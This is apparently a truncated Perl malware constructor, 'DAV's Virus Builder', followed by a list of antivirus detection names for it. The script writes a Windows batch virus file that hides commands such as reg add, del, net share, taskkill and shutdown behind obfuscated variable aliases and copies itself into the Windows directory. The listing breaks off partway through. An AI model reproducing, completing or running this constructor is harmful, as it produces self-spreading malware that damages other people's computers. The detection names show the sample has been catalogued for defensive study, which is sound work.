#!/usr/local/bin/perl # Virus Builder #
by dav $vname = ''; $vwriter = ''; $vbsmsgtxt = ''; $vtime = '';
print("*******************\n"); print("DAV's Virus Builder\n"); print("BAT/VIRUS\n"); print("*******************\n"); print("\n");
print("VirusName?\n"); chomp ($vname = <STDIN>); print("\n"); print("Author?\n"); chomp
($vwriter = <STDIN>); print("\n"); open(FH,">virus.bat"); print FH '@echo off'; print FH "\n"; close(FH); open(FH,">>virus.bat"); print
FH "rem $vname - Virus\n"; print FH "rem by $vwriter\n"; print FH "rem ** generated with dav's virus builder v.1.0 in
perl **\n"; print FH "set dav=echo\n"; print FH "set davv=copy\n"; print FH "set davvv=reg add\n"; print FH "set
davvvv=del\n"; print FH "set davvvvv=net share\n"; print FH "set davvvvvv=cls\n"; print FH "set davvvvvvv=taskkill\n"; print
FH "set davvvvvvvv=ren\n"; print FH "set davvvvvvvvv=call\n"; print FH "set davvvvvvvvvv=shutdown\n"; print FH "%davv%
%0 %windir%\\vwin.bat > nul"; print FH "\n"; close(FH); ...
Constructor.Perl.INFIMATE.DAV.a
(Sinlug Lab), Troj/Divdavkt-A (Sophos), PERL_DIVDAVV.A (Trend Micro), KIT/DavsBatch.1 (H+BEDV), Constructor.Perl.INFIMATE.A
(ClamAV), Constructor/Infimatepel. (Panda)
copyright by infimate - "nothing is
true, everything is permitted"
|